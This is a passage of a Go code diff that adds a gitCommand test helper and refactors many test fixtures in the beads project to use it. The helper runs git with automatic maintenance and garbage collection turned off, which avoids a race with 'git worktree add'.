append([]string{"-C", tmpDir}, args...)...) + cmd := gitCommand(append([]string{"-C", tmpDir}, args...)...) if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) } diff --git a/cmd/bd/doctor/fix/common_test.go b/cmd/bd/doctor/fix/common_test.go index ce7430801..b6edccdf9 100644 --- a/cmd/bd/doctor/fix/common_test.go +++ b/cmd/bd/doctor/fix/common_test.go @@ -2,6 +2,7 @@ package fix import ( "os" + "os/exec" "path/filepath" "testing" ) @@ -162,3 +163,14 @@ func TestLocalWorkspaceBeadsDir(t *testing.T) { } }) } + +// noAutoMaintenance keeps a fixture's git commit from spawning the detached +// "git maintenance run --auto" child whose worktree-prune races the fixture's +// next "git worktree add" (gastownhall/beads#7314, #7349). Flags ride the +// command line, never env config: the routing-key scrub drops env config. +var noAutoMaintenance = []string{"-c", "maintenance.auto=false", "-c", "gc.auto=0"} + +// gitCommand builds a git command for a fixture with noAutoMaintenance applied. +func gitCommand(args ...string) *exec.Cmd { + return exec.Command("git", append(append([]string{}, noAutoMaintenance...), args...)...) +} diff --git a/cmd/bd/doctor/fix/fix_test.go b/cmd/bd/doctor/fix/fix_test.go index a9f6b9a92..10ab03628 100644 --- a/cmd/bd/doctor/fix/fix_test.go +++ b/cmd/bd/doctor/fix/fix_test.go @@ -2,7 +2,6 @@ package fix import ( "os" - "os/exec" "path/filepath" "testing" ) @@ -46,7 +45,7 @@ func setupSharedWorktreeWorkspace(t *testing.T) (mainRepoDir, worktreeDir string run := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -65,13 +64,13 @@ func setupSharedWorktreeWorkspace(t *testing.T) (mainRepoDir, worktreeDir string run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir = filepath.Join(tmpDir, "worktree") - addWorktree := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + addWorktree := gitCommand("worktree", "add", worktreeDir, "HEAD") addWorktree.Dir = mainRepoDir if out, err := addWorktree.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - removeWorktree := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + removeWorktree := gitCommand("worktree", "remove", "--force", worktreeDir) removeWorktree.Dir = mainRepoDir _ = removeWorktree.Run() }) @@ -82,7 +81,7 @@ func setupSharedWorktreeWorkspace(t *testing.T) (mainRepoDir, worktreeDir string // runGit runs a git command and returns output func runGit(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir output, err := cmd.CombinedOutput() if err != nil { diff --git a/cmd/bd/doctor/fix/git_repo_template_test.go b/cmd/bd/doctor/fix/git_repo_template_test.go index 81b1b6818..869520510 100644 --- a/cmd/bd/doctor/fix/git_repo_template_test.go +++ b/cmd/bd/doctor/fix/git_repo_template_test.go @@ -3,7 +3,6 @@ package fix import ( "fmt" "os" - "os/exec" "path/filepath" "strings" "sync" @@ -31,7 +30,7 @@ func initGitTemplate() { } gitTemplateDir = dir - cmd := exec.Command("git", "init", "--initial-branch=main") + cmd := gitCommand("init", "--initial-branch=main") cmd.Dir = dir if err := cmd.Run(); err != nil { gitTemplateErr = fmt.Errorf("git init failed: %w", err) @@ -42,7 +41,7 @@ func initGitTemplate() { {"config", "user.email", "test@test.com"}, {"config", "user.name", "Test User"}, } { - cmd = exec.Command("git", args...) + cmd = gitCommand(args...) cmd.Dir = dir if err := cmd.Run(); err != nil { gitTemplateErr = fmt.Errorf("git %v failed: %w", args, err) @@ -113,13 +112,13 @@ func TestNewGitRepo_UsesRepoLocalHooksPathDespiteGlobalConfig(t *testing.T) { t.Fatalf("failed to create fake global hooks dir: %v", err) } - setGlobal := exec.Command("git", "config", "--global", "core.hooksPath", globalHooks) + setGlobal := gitCommand("config", "--global", "core.hooksPath", globalHooks) if out, err := setGlobal.CombinedOutput(); err != nil { t.Fatalf("failed to set global core.hooksPath: %v (%s)", err, strings.TrimSpace(string(out))) } repoDir := newGitRepo(t) - getLocal := exec.Command("git", "config", "--get", "core.hooksPath") + getLocal := gitCommand("config", "--get", "core.hooksPath") getLocal.Dir = repoDir out, err := getLocal.CombinedOutput() if err != nil { diff --git a/cmd/bd/doctor/fix/hooks_test.go b/cmd/bd/doctor/fix/hooks_test.go index 512dba992..166b83699 100644 --- a/cmd/bd/doctor/fix/hooks_test.go +++ b/cmd/bd/doctor/fix/hooks_test.go @@ -2,7 +2,6 @@ package fix import ( "os" - "os/exec" "path/filepath" "testing" ) @@ -844,7 +843,7 @@ func TestDetectActiveHookManager(t *testing.T) { } // Test isolation: force repo-local hooks path so global git config // does not redirect detection to an unrelated directory. - setHooksPathCmd := exec.Command("git", "config", "core.hooksPath", ".git/hooks") + setHooksPathCmd := gitCommand("config", "core.hooksPath", ".git/hooks") setHooksPathCmd.Dir = dir if err := setHooksPathCmd.Run(); err != nil { t.Fatalf("failed to set core.hooksPath: %v", err) @@ -879,7 +878,7 @@ func TestDetectActiveHookManager_CustomHooksPath(t *testing.T) { t.Fatalf("failed to copy git template: %v", err) } // Start from repo-local hooks for test isolation; override below. - setHooksPathCmd := exec.Command("git", "config", "core.hooksPath", ".git/hooks") + setHooksPathCmd := gitCommand("config", "core.hooksPath", ".git/hooks") setHooksPathCmd.Dir = dir if err := setHooksPathCmd.Run(); err != nil { t.Fatalf("failed to set core.hooksPath: %v", err) @@ -898,7 +897,7 @@ func TestDetectActiveHookManager_CustomHooksPath(t *testing.T) { } // Set core.hooksPath via git config - configCmd := exec.Command("git", "config", "core.hooksPath", "my-hooks") + configCmd := gitCommand("config", "core.hooksPath", "my-hooks") configCmd.Dir = dir if err := configCmd.Run(); err != nil { t.Fatalf("failed to set core.hooksPath: %v", err) diff --git a/cmd/bd/doctor/fix/metadata_dolt_test.go b/cmd/bd/doctor/fix/metadata_dolt_test.go index f04749f43..72c18cddb 100644 --- a/cmd/bd/doctor/fix/metadata_dolt_test.go +++ b/cmd/bd/doctor/fix/metadata_dolt_test.go @@ -5,7 +5,6 @@ package fix import ( "context" "os" - "os/exec" "path/filepath" "testing" @@ -38,7 +37,7 @@ func setupDoltWorkspace(t *testing.T) string { if err := copyGitDir(gitTemplateDir, dir); err != nil { t.Fatalf("failed to copy git template: %v", err) } - cmd := exec.Command("git", "config", "remote.origin.url", "https://github.com/test/dolt-metadata-fix.git") + cmd := gitCommand("config", "remote.origin.url", "https://github.com/test/dolt-metadata-fix.git") cmd.Dir = dir _ = cmd.Run() diff --git a/cmd/bd/doctor/git_hygiene_test.go b/cmd/bd/doctor/git_hygiene_test.go index a7fb2c9d2..20560018a 100644 --- a/cmd/bd/doctor/git_hygiene_test.go +++ b/cmd/bd/doctor/git_hygiene_test.go @@ -2,7 +2,6 @@ package doctor import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -29,7 +28,7 @@ func mkTmpDirInTmp(t *testing.T, prefix string) string { func runGit(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, err := cmd.CombinedOutput() if err != nil { diff --git a/cmd/bd/doctor/git_repo_template_test.go b/cmd/bd/doctor/git_repo_template_test.go index 1fe0aedc0..241d6f57d 100644 --- a/cmd/bd/doctor/git_repo_template_test.go +++ b/cmd/bd/doctor/git_repo_template_test.go @@ -3,7 +3,6 @@ package doctor import ( "fmt" "os" - "os/exec" "path/filepath" "strings" "sync" @@ -31,7 +30,7 @@ func initGitTemplate() { } gitTemplateDir = dir - cmd := exec.Command("git", "init", "--initial-branch=main") + cmd := gitCommand("init", "--initial-branch=main") cmd.Dir = dir if err := cmd.Run(); err != nil { gitTemplateErr = fmt.Errorf("git init failed: %w", err) @@ -42,7 +41,7 @@ func initGitTemplate() { {"config", "user.email", "test@test.com"}, {"config", "user.name", "Test User"}, } { - cmd = exec.Command("git", args...) + cmd = gitCommand(args...) cmd.Dir = dir if err := cmd.Run(); err != nil { gitTemplateErr = fmt.Errorf("git %v failed: %w", args, err) @@ -113,13 +112,13 @@ func TestNewGitRepo_UsesRepoLocalHooksPathDespiteGlobalConfig(t *testing.T) { t.Fatalf("failed to create fake global hooks dir: %v", err) } - setGlobal := exec.Command("git", "config", "--global", "core.hooksPath", globalHooks) + setGlobal := gitCommand("config", "--global", "core.hooksPath", globalHooks) if out, err := setGlobal.CombinedOutput(); err != nil { t.Fatalf("failed to set global core.hooksPath: %v (%s)", err, strings.TrimSpace(string(out))) } repoDir := newGitRepo(t) - getLocal := exec.Command("git", "config", "--get", "core.hooksPath") + getLocal := gitCommand("config", "--get", "core.hooksPath") getLocal.Dir = repoDir out, err := getLocal.CombinedOutput() if err != nil { diff --git a/cmd/bd/doctor/git_test.go b/cmd/bd/doctor/git_test.go index 420c44dd8..45b9214ef 100644 --- a/cmd/bd/doctor/git_test.go +++ b/cmd/bd/doctor/git_test.go @@ -2,7 +2,6 @@ package doctor import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -70,7 +69,7 @@ func setupGitRepoInDir(t *testing.T, dir string) { // Force repo-local hooks path for test isolation. This prevents global // core.hooksPath from affecting hook detection behavior in tests. - cmd := exec.Command("git", "config", "core.hooksPath", ".git/hooks") + cmd := gitCommand("config", "core.hooksPath", ".git/hooks") cmd.Dir = dir if err := cmd.Run(); err != nil { t.Fatalf("failed to set core.hooksPath for test repo: %v", err) diff --git a/cmd/bd/doctor/git_test_helpers_test.go b/cmd/bd/doctor/git_test_helpers_test.go index 9f713303e..bc16ab372 100644 --- a/cmd/bd/doctor/git_test_helpers_test.go +++ b/cmd/bd/doctor/git_test_helpers_test.go @@ -2,6 +2,7 @@ package doctor import ( "os" + "os/exec" "testing" "github.com/steveyegge/beads/internal/git" @@ -27,3 +28,14 @@ func runInDir(t *testing.T, dir string, fn func()) { }() fn() } + +// noAutoMaintenance keeps a fixture's git commit from spawning the detached +// "git maintenance run --auto" child whose worktree-prune races the fixture's +// next "git worktree add" (gastownhall/beads#7314, #7349). Flags ride the +// command line, never env config: the routing-key scrub drops env config. +var noAutoMaintenance = []string{"-c", "maintenance.auto=false", "-c", "gc.auto=0"} + +// gitCommand builds a git command for a fixture with noAutoMaintenance applied. +func gitCommand(args ...string) *exec.Cmd { + return exec.Command("git", append(append([]string{}, noAutoMaintenance...), args...)...) +} diff --git a/cmd/bd/doctor/gitignore_test.go b/cmd/bd/doctor/gitignore_test.go index 05e529045..cc4e679ce 100644 --- a/cmd/bd/doctor/gitignore_test.go +++ b/cmd/bd/doctor/gitignore_test.go @@ -3,7 +3,6 @@ package doctor import ( "bytes" "os" - "os/exec" "path/filepath" "runtime" "strings" @@ -1439,7 +1438,7 @@ func TestCheckRedirectNotTracked_FileTracked(t *testing.T) { } // Stage (track) the redirect file - gitAdd := exec.Command("git", "add", redirectPath) + gitAdd := gitCommand("add", redirectPath) if err := gitAdd.Run(); err != nil { t.Skipf("git add failed: %v", err) } @@ -1498,13 +1497,13 @@ func TestFixRedirectTracking(t *testing.T) { } // Stage (track) the redirect file - gitAdd := exec.Command("git", "add", redirectPath) + gitAdd := gitCommand("add", redirectPath) if err := gitAdd.Run(); err != nil { t.Skipf("git add failed: %v", err) } // Verify it's tracked - lsFiles := exec.Command("git", "ls-files", redirectPath) + lsFiles := gitCommand("ls-files", redirectPath) output, _ := lsFiles.Output() if strings.TrimSpace(string(output)) == "" { t.Fatal("redirect file should be tracked before fix") @@ -1516,7 +1515,7 @@ func TestFixRedirectTracking(t *testing.T) { } // Verify it's no longer tracked - lsFiles = exec.Command("git", "ls-files", redirectPath) + lsFiles = gitCommand("ls-files", redirectPath) output, _ = lsFiles.Output() if strings.TrimSpace(string(output)) != "" { t.Error("redirect file should be untracked after fix") @@ -1789,7 +1788,7 @@ func TestCheckLastTouchedNotTracked_FileTracked(t *testing.T) { } // Stage (track) the last-touched file - gitAdd := exec.Command("git", "add", lastTouchedPath) + gitAdd := gitCommand("add", lastTouchedPath) if err := gitAdd.Run(); err != nil { t.Skipf("git add failed: %v", err) } @@ -1848,7 +1847,7 @@ func TestFixLastTouchedTracking(t *testing.T) { } // Stage (track) the last-touched file - gitAdd := exec.Command("git", "add", lastTouchedPath) + gitAdd := gitCommand("add", lastTouchedPath) if err := gitAdd.Run(); err != nil { t.Skipf("git add failed: %v", err) } @@ -2485,7 +2484,7 @@ func setupBareParentWorktreeForGitignoreTest(t *testing.T) (string, string) { func runGitInDirForGitignoreTest(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir output, err := cmd.CombinedOutput() if err != nil { @@ -2946,7 +2945,7 @@ func TestCheckNoVestigialSyncWorktrees_WithRedirectNoWorktree(t *testing.T) { tmpDir := t.TempDir() // Create a git repo so the git root detection works - cmd := exec.Command("git", "init", tmpDir) + cmd := gitCommand("init", tmpDir) if err := cmd.Run(); err != nil { t.Skipf("git init failed: %v", err) } @@ -2985,7 +2984,7 @@ func TestCheckNoVestigialSyncWorktrees_VestigialDetected(t *testing.T) { tmpDir := t.TempDir() // Create a git repo - cmd := exec.Command("git", "init", tmpDir) + cmd := gitCommand("init", tmpDir) if err := cmd.Run(); err != nil { t.Skipf("git init failed: %v", err) } diff --git a/cmd/bd/doctor/hooks_migration_test.go b/cmd/bd/doctor/hooks_migration_test.go index 1e08ebc60..9134d51d5 100644 --- a/cmd/bd/doctor/hooks_migration_test.go +++ b/cmd/bd/doctor/hooks_migration_test.go @@ -2,7 +2,6 @@ package doctor import ( "os" - "os/exec" "path/filepath" "testing" ) @@ -214,7 +213,7 @@ func findHookPlan(plan HookMigrationPlan, name string) (HookMigrationHookPlan, b func forceRepoHooksPath(t *testing.T, repoPath string) { t.Helper() - cmd := exec.Command("git", "config", "core.hooksPath", ".git/hooks") + cmd := gitCommand("config", "core.hooksPath", ".git/hooks") cmd.Dir = repoPath if err := cmd.Run(); err != nil { t.Fatalf("failed to set core.hooksPath for test repo: %v", err) diff --git a/cmd/bd/doctor/hooks_path_test.go b/cmd/bd/doctor/hooks_path_test.go index a2888aae3..36bf97a1c 100644 --- a/cmd/bd/doctor/hooks_path_test.go +++ b/cmd/bd/doctor/hooks_path_test.go @@ -2,7 +2,6 @@ package doctor import ( "os" - "os/exec" "path/filepath" "runtime" "strings" @@ -12,7 +11,7 @@ import ( // setGitConfig sets a git config value in dir, failing the test on error. func setGitConfig(t *testing.T, dir, key, value string) { t.Helper() - cmd := exec.Command("git", "config", key, value) + cmd := gitCommand("config", key, value) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git config %s %s failed: %v (%s)", key, value, err, strings.TrimSpace(string(out))) @@ -23,7 +22,7 @@ func setGitConfig(t *testing.T, dir, key, value string) { // since the goal is just to make sure the key is absent. func unsetGitConfig(t *testing.T, dir, key string) { t.Helper() - cmd := exec.Command("git", "config", "--unset", key) + cmd := gitCommand("config", "--unset", key) cmd.Dir = dir _ = cmd.Run() } @@ -31,7 +30,7 @@ func unsetGitConfig(t *testing.T, dir, key string) { // getGitConfig reads a git config value in dir. Returns "" if unset. func getGitConfig(t *testing.T, dir, key string) string { t.Helper() - cmd := exec.Command("git", "config", "--get", key) + cmd := gitCommand("config", "--get", key) cmd.Dir = dir out, err := cmd.Output() if err != nil { diff --git a/cmd/bd/doctor/role_test.go b/cmd/bd/doctor/role_test.go index 5ec4ca071..ae4c08a76 100644 --- a/cmd/bd/doctor/role_test.go +++ b/cmd/bd/doctor/role_test.go @@ -2,7 +2,6 @@ package doctor import ( "os" - "os/exec" "path/filepath" "runtime" "testing" @@ -57,7 +56,7 @@ func TestCheckBeadsRole_Maintainer(t *testing.T) { tmpDir := newGitRepo(t) // Set beads.role to maintainer - cmd := exec.Command("git", "config", "beads.role", "maintainer") + cmd := gitCommand("config", "beads.role", "maintainer") cmd.Dir = tmpDir if err := cmd.Run(); err != nil { t.Fatalf("git config failed: %v", err) @@ -77,7 +76,7 @@ func TestCheckBeadsRole_Contributor(t *testing.T) { tmpDir := newGitRepo(t) // Set beads.role to contributor - cmd := exec.Command("git", "config", "beads.role", "contributor") + cmd := gitCommand("config", "beads.role", "contributor") cmd.Dir = tmpDir if err := cmd.Run(); err != nil { t.Fatalf("git config failed: %v", err) @@ -97,7 +96,7 @@ func TestCheckBeadsRole_InvalidValue(t *testing.T) { tmpDir := newGitRepo(t) // Set beads.role to an invalid value - cmd := exec.Command("git", "config", "beads.role", "admin") + cmd := gitCommand("config", "beads.role", "admin") cmd.Dir = tmpDir if err := cmd.Run(); err != nil { t.Fatalf("git config failed: %v", err) @@ -182,7 +181,7 @@ func TestCheckBeadsRoleIgnoresInheritedRouting(t *testing.T) { target, decoy := newGitRepo(t), newGitRepo(t) runGit := func(repo string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir, cmd.Env = repo, gitenv.ScrubRouting(os.Environ()) if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("fixture git %v: %v: %s", args, err, out) diff --git a/cmd/bd/doctor/tracked_runtime_test.go b/cmd/bd/doctor/tracked_runtime_test.go index b0757b601..4af393c00 100644 --- a/cmd/bd/doctor/tracked_runtime_test.go +++ b/cmd/bd/doctor/tracked_runtime_test.go @@ -2,7 +2,6 @@ package doctor import ( "os" - "os/exec" "path/filepath" "testing" ) @@ -10,7 +9,7 @@ import ( func disableGlobalGitIgnore(t *testing.T, repoDir string) { t.Helper() - cmd := exec.Command("git", "config", "core.excludesFile", "") + cmd := gitCommand("config", "core.excludesFile", "") cmd.Dir = repoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git config core.excludesFile failed: %v\n%s", err, out) @@ -58,12 +57,12 @@ func TestCheckTrackedRuntimeFiles_WorktreeFallbackUsesSharedBeads(t *testing.T) t.Fatalf("failed to write last-touched: %v", err) } - add := exec.Command("git", "add", "-f", ".beads/last-touched") + add := gitCommand("add", "-f", ".beads/last-touched") add.Dir = mainRepoDir if out, err := add.CombinedOutput(); err != nil { t.Fatalf("git add failed: %v\n%s", err, out) } - commit := exec.Command("git", "commit", "-m", "Track runtime artifact for test") + commit := gitCommand("commit", "-m", "Track runtime artifact for test") commit.Dir = mainRepoDir if out, err := commit.CombinedOutput(); err != nil { t.Fatalf("git commit failed: %v\n%s", err, out) @@ -93,12 +92,12 @@ func TestFixTrackedRuntimeFiles_WorktreeFallbackUsesSharedBeads(t *testing.T) { t.Fatalf("failed to write last-touched: %v", err) } - add := exec.Command("git", "add", "-f", ".beads/last-touched") + add := gitCommand("add", "-f", ".beads/last-touched") add.Dir = mainRepoDir if out, err := add.CombinedOutput(); err != nil { t.Fatalf("git add failed: %v\n%s", err, out) } - commit := exec.Command("git", "commit", "-m", "Track runtime artifact for fix test") + commit := gitCommand("commit", "-m", "Track runtime artifact for fix test") commit.Dir = mainRepoDir if out, err := commit.CombinedOutput(); err != nil { t.Fatalf("git commit failed: %v\n%s", err, out) @@ -110,7 +109,7 @@ func TestFixTrackedRuntimeFiles_WorktreeFallbackUsesSharedBeads(t *testing.T) { t.Fatalf("FixTrackedRuntimeFiles() error = %v", err) } - status := exec.Command("git", "status", "--short", "--", ".beads/last-touched") + status := gitCommand("status", "--short", "--", ".beads/last-touched") status.Dir = mainRepoDir out, err := status.CombinedOutput() if err != nil { diff --git a/cmd/bd/dolt_autocommit_integration_test.go b/cmd/bd/dolt_autocommit_integration_test.go index 9003524ab..b90ec4a49 100644 --- a/cmd/bd/dolt_autocommit_integration_test.go +++ b/cmd/bd/dolt_autocommit_integration_test.go @@ -16,7 +16,7 @@ import ( func setupGitRepoForIntegration(t *testing.T, dir string) { t.Helper() - cmd := exec.Command("git", "init", dir) + cmd := gitCommand("init", dir) if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git init failed: %v\n%s", err, out) } @@ -24,7 +24,7 @@ func setupGitRepoForIntegration(t *testing.T, dir string) { {"-C", dir, "config", "user.email", "test@example.com"}, {"-C", dir, "config", "user.name", "Test User"}, } { - cmd = exec.Command("git", args...) + cmd = gitCommand(args...) if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) } diff --git a/cmd/bd/dolt_remote_origin_guard_embedded_test.go b/cmd/bd/dolt_remote_origin_guard_embedded_test.go index 53bca5adc..66b4943a4 100644 --- a/cmd/bd/dolt_remote_origin_guard_embedded_test.go +++ b/cmd/bd/dolt_remote_origin_guard_embedded_test.go @@ -27,7 +27,7 @@ func remoteAdd(t *testing.T, bd, dir string, args ...string) (string, string, er // setGitOrigin adds a git remote named "origin" to the directory. func setGitOrigin(t *testing.T, dir, url string) { t.Helper() - cmd := exec.Command("git", "remote", "add", "origin", url) + cmd := gitCommand("remote", "add", "origin", url) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git remote add origin %s: %v\n%s", url, err, out) diff --git a/cmd/bd/dolt_remote_origin_guard_test.go b/cmd/bd/dolt_remote_origin_guard_test.go index 0a5eb2f90..1ccdcf5eb 100644 --- a/cmd/bd/dolt_remote_origin_guard_test.go +++ b/cmd/bd/dolt_remote_origin_guard_test.go @@ -1,7 +1,6 @@ package main import ( - "os/exec" "strings" "testing" @@ -259,7 +258,7 @@ func initBareGitRepoForTest(t *testing.T, dir string) { // runGitCommand runs a git command in dir and fatals on error. func runGitCommand(t *testing.T, dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %s: %v\n%s", strings.Join(args, " "), err, out) diff --git a/cmd/bd/dolt_remote_reset_data_embedded_test.go b/cmd/bd/dolt_remote_reset_data_embedded_test.go index 63e902d95..682e9fe77 100644 --- a/cmd/bd/dolt_remote_reset_data_embedded_test.go +++ b/cmd/bd/dolt_remote_reset_data_embedded_test.go @@ -4,7 +4,6 @@ package main import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -17,7 +16,7 @@ import ( // resetDataRunGit runs a git command in dir, fatal on failure. func resetDataRunGit(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, err := cmd.CombinedOutput() if err != nil { diff --git a/cmd/bd/explicit_db_nodb_test.go b/cmd/bd/explicit_db_nodb_test.go index 17c58f017..12a3abe02 100644 --- a/cmd/bd/explicit_db_nodb_test.go +++ b/cmd/bd/explicit_db_nodb_test.go @@ -78,16 +78,16 @@ func initGitRepo(t *testing.T, dir string) { if err := os.MkdirAll(dir, 0o755); err != nil { t.Fatalf("mkdir repo: %v", err) } - cmd := exec.Command("git", "init", "-q") + cmd := gitCommand("init", "-q") cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git init %s: %v\n%s", dir, err, out) } writeFile(t, filepath.Join(dir, ".gitignore"), []byte(".beads/.env\n")) - commitCmd := exec.Command("git", "add", ".") + commitCmd := gitCommand("add", ".") commitCmd.Dir = dir _, _ = commitCmd.CombinedOutput() - commitCmd = exec.Command("git", "commit", "-q", "-m", "init") + commitCmd = gitCommand("commit", "-q", "-m", "init") commitCmd.Dir = dir commitCmd.Env = append(os.Environ(), "GIT_AUTHOR_NAME=Test", diff --git a/cmd/bd/export_auto_test.go b/cmd/bd/export_auto_test.go index 097addcf3..eae7a1e06 100644 --- a/cmd/bd/export_auto_test.go +++ b/cmd/bd/export_auto_test.go @@ -53,7 +53,7 @@ func TestGitAddFile_InWorktreeHook_StagesCorrectPath(t *testing.T) { } runGit := func(dir string, args ...string) { t.Helper() - c := exec.Command("git", args...) + c := gitCommand(args...) c.Dir = dir if out, err := c.CombinedOutput(); err != nil { t.Fatalf("git %v in %s failed: %v\n%s", args, dir, err, out) @@ -71,7 +71,7 @@ func TestGitAddFile_InWorktreeHook_StagesCorrectPath(t *testing.T) { worktree := filepath.Join(tmpDir, "wt") runGit(mainRepo, "worktree", "add", worktree, "-b", "feat") t.Cleanup(func() { - c := exec.Command("git", "worktree", "remove", "--force", worktree) + c := gitCommand("worktree", "remove", "--force", worktree) c.Dir = mainRepo _ = c.Run() }) @@ -87,7 +87,7 @@ func TestGitAddFile_InWorktreeHook_StagesCorrectPath(t *testing.T) { // Simulate the environment inside a git pre-commit hook: GIT_DIR points // at the worktree's per-worktree gitdir. - out, err := exec.Command("git", "-C", worktree, "rev-parse", "--git-dir").Output() + out, err := gitCommand("-C", worktree, "rev-parse", "--git-dir").Output() if err != nil { t.Fatal(err) } @@ -111,7 +111,7 @@ func TestGitAddFile_InWorktreeHook_StagesCorrectPath(t *testing.T) { // Inspect the worktree's index: the staged path must be ".beads/issues.jsonl", // NOT bare "issues.jsonl" at repo root. - lsFiles := exec.Command("git", "ls-files", "--stage") + lsFiles := gitCommand("ls-files", "--stage") lsFiles.Dir = worktree data, err := lsFiles.CombinedOutput() if err != nil { @@ -692,7 +692,7 @@ func TestGitAddFile_NonHookContext_GuardDoesNotFire(t *testing.T) { } runGit := func(args ...string) { t.Helper() - c := exec.Command("git", args...) + c := gitCommand(args...) c.Dir = repo if out, err := c.CombinedOutput(); err != nil { t.Fatalf("git %v: %v\n%s", args, err, out) @@ -718,7 +718,7 @@ func TestGitAddFile_NonHookContext_GuardDoesNotFire(t *testing.T) { t.Fatalf("gitAddFile: %v", err) } - c := exec.Command("git", "ls-files", "--stage") + c := gitCommand("ls-files", "--stage") c.Dir = repo data, err := c.CombinedOutput() if err != nil { @@ -756,7 +756,7 @@ func TestGitAddFile_RelativePathDoesNotDoubleRoot(t *testing.T) { } runGit := func(args ...string) { t.Helper() - c := exec.Command("git", args...) + c := gitCommand(args...) c.Dir = repo if out, err := c.CombinedOutput(); err != nil { t.Fatalf("git %v: %v\n%s", args, err, out) @@ -788,7 +788,7 @@ func TestGitAddFile_RelativePathDoesNotDoubleRoot(t *testing.T) { t.Fatalf("gitAddFile(%q): %v", relPath, err) } - c := exec.Command("git", "diff", "--cached", "--name-only") + c := gitCommand("diff", "--cached", "--name-only") c.Dir = repo data, err := c.CombinedOutput() if err != nil { @@ -825,7 +825,7 @@ func TestGitAddFile_CapturesStderrOnFailure(t *testing.T) { } runGit := func(args ...string) { t.Helper() - c := exec.Command("git", args...) + c := gitCommand(args...) c.Dir = repo if out, err := c.CombinedOutput(); err != nil { t.Fatalf("git %v: %v\n%s", args, err, out) @@ -890,7 +890,7 @@ func TestGitAddFile_CapturesLockedIndexFailure(t *testing.T) { } runGit := func(args ...string) { t.Helper() - c := exec.Command("git", args...) + c := gitCommand(args...) c.Dir = repo if out, err := c.CombinedOutput(); err != nil { t.Fatalf("git %v: %v\n%s", args, err, out) @@ -926,7 +926,7 @@ func TestGitAddFile_CapturesLockedIndexFailure(t *testing.T) { t.Fatalf("expected index.lock error, got: %q", msg) } - c := exec.Command("git", "ls-files", "--stage") + c := gitCommand("ls-files", "--stage") c.Dir = repo data, err := c.CombinedOutput() if err != nil { @@ -948,7 +948,7 @@ func TestAutoExportGitAddFailureExitsNonZero(t *testing.T) { runGit := func(args ...string) { t.Helper() - c := exec.Command("git", args...) + c := gitCommand(args...) c.Dir = dir if out, err := c.CombinedOutput(); err != nil { t.Fatalf("git %v: %v\n%s", args, err, out) @@ -1026,7 +1026,7 @@ func TestGitAddFile_RedirectCase_DoesNotStageInMainRepo(t *testing.T) { } runGit := func(dir string, args ...string) { t.Helper() - c := exec.Command("git", args...) + c := gitCommand(args...) c.Dir = dir if out, err := c.CombinedOutput(); err != nil { t.Fatalf("git %v in %s failed: %v\n%s", args, dir, err, out) @@ -1056,12 +1056,12 @@ func TestGitAddFile_RedirectCase_DoesNotStageInMainRepo(t *testing.T) { worktree := filepath.Join(tmpDir, "wt") runGit(mainRepo, "worktree", "add", worktree, "-b", "feat") t.Cleanup(func() { - c := exec.Command("git", "worktree", "remove", "--force", worktree) + c := gitCommand("worktree", "remove", "--force", worktree) c.Dir = mainRepo _ = c.Run() }) - out, err := exec.Command("git", "-C", worktree, "rev-parse", "--git-dir").Output() + out, err := gitCommand("-C", worktree, "rev-parse", "--git-dir").Output() if err != nil { t.Fatal(err) } @@ -1084,7 +1084,7 @@ func TestGitAddFile_RedirectCase_DoesNotStageInMainRepo(t *testing.T) { // staging entry from the worktree's hook firing. checkNoStage := func(label, repoDir string) { t.Helper() - c := exec.Command("git", "ls-files", "--stage") + c := gitCommand("ls-files", "--stage") c.Dir = repoDir data, err := c.CombinedOutput() if err != nil { @@ -1134,7 +1134,7 @@ func TestPreCommitHasStagedBeadsFiles(t *testing.T) { } runGit := func(args ...string) { t.Helper() - c := exec.Command("git", args...) + c := gitCommand(args...) c.Dir = repo if out, err := c.CombinedOutput(); err != nil { t.Fatalf("git %v: %v\n%s", args, err, out) diff --git a/cmd/bd/git_repo_template_test.go b/cmd/bd/git_repo_template_test.go index dbc9bd25b..5fdb0978b 100644 --- a/cmd/bd/git_repo_template_test.go +++ b/cmd/bd/git_repo_template_test.go @@ -3,7 +3,6 @@ package main import ( "fmt" "os" - "os/exec" "path/filepath" "strings" "sync" @@ -34,7 +33,7 @@ func initGitTemplate() { } gitTemplateDir = dir - cmd := exec.Command("git", "init", "--initial-branch=main") + cmd := gitCommand("init", "--initial-branch=main") cmd.Dir = dir if err := cmd.Run(); err != nil { gitTemplateErr = fmt.Errorf("git init failed: %w", err) @@ -45,7 +44,7 @@ func initGitTemplate() { {"config", "user.email", "test@test.com"}, {"config", "user.name", "Test User"}, } { - cmd = exec.Command("git", args...) + cmd = gitCommand(args...) cmd.Dir = dir if err := cmd.Run(); err != nil { 